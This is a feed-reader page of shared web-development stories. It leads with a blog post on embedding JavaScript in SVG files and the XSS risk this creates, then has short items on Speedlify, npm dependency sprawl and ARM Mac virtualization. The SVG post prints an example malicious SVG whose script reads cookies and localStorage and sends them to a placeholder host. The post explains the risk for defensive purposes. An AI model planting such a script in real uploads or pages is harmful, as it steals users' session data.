2179 stories
·
1 follower

JavaScript in SVGs

2 Shares

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They’re part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

That’s a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
    document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

…they could steal cookies, storage, and other information via XSS. That’s a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src="/path/to/image.svg" />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff and serving them from a different hostname so as to not share cookies!

The post JavaScript in SVGs appeared first on David Walsh Blog.

Read the whole story
alvinashcraft
15 hours ago
reply
West Grove, PA
emrox
3 days ago
reply
Hamburg, Germany
Share this story
Delete

Use Speedlify to continuously measure site performance

1 Share

Zach Leatherman:

Instantaneous measurement is a good first step. But how do we ensure that the site maintains good performance and best practices when deploys are happening every day? How do we keep the web site fast? The second step is continuous measurement. This is where Speedlify comes in. It’s an Eleventy-generated web site published as an open source repository to help automate continuous performance measurements.

Demo here.

Use Speedlify to continuously measure site performance

Discuss on Changelog News

Read the whole story
emrox
4 days ago
reply
Hamburg, Germany
Share this story
Delete

Worrying about the npm ecosystem

1 Share

Sam Bleckley:

The npm ecosystem seems unwell. If you are concerned with security, reliability, or long-term maintenance, it is almost impossible to pick a suitable package to use — both because there are 1.3 million packages available, and even if you find one that is well documented and maintained, it might depend on hundreds of other packages, with dependency trees stretching ten or more levels deep — as one developer, it’s impossible to validate them all.

He then spends some time measuring the extent of the problem.

Discuss on Changelog News

Read the whole story
emrox
5 days ago
reply
Hamburg, Germany
Share this story
Delete

Textures.js

1 Share

Lines

Circles

Read the whole story
emrox
7 days ago
reply
Hamburg, Germany
Share this story
Delete

Wheel of Fortune for videocalls

1 Comment

Comments

Read the whole story
emrox
10 days ago
reply
written for Linux. There may be ways for Windows or Mac, too
Hamburg, Germany
Share this story
Delete

ARM Mac: Why I'm worried about virtualization

1 Share

Docker is expected about 5x slower…

Docker on a Mac utilizes a hypervisor. Hypervisors rely on running the same architecture on the host as the guest, and are about about 1x - 2x as slow as running natively. Since you’re running ARM Mac, these hypervisors can only run ARM Linux. They can’t run x86_64 Linux.

And, “VirtualBox won’t work.”

VirtualBox is a hypervisor. Therefore, it won’t be able to run x86 Windows or x86 Linux.

And, “Boot Camp won’t work.”

Boot Camp is an Apple-approved way to dual-boot Mac OS and Windows. Boot Camp will definitely not be available on ARM Macs. It might be added later with the ability to run ARM Windows, though Microsoft would have to approve.

Discuss on Changelog News

Read the whole story
emrox
10 days ago
reply
Hamburg, Germany
Share this story
Delete
Next Page of Stories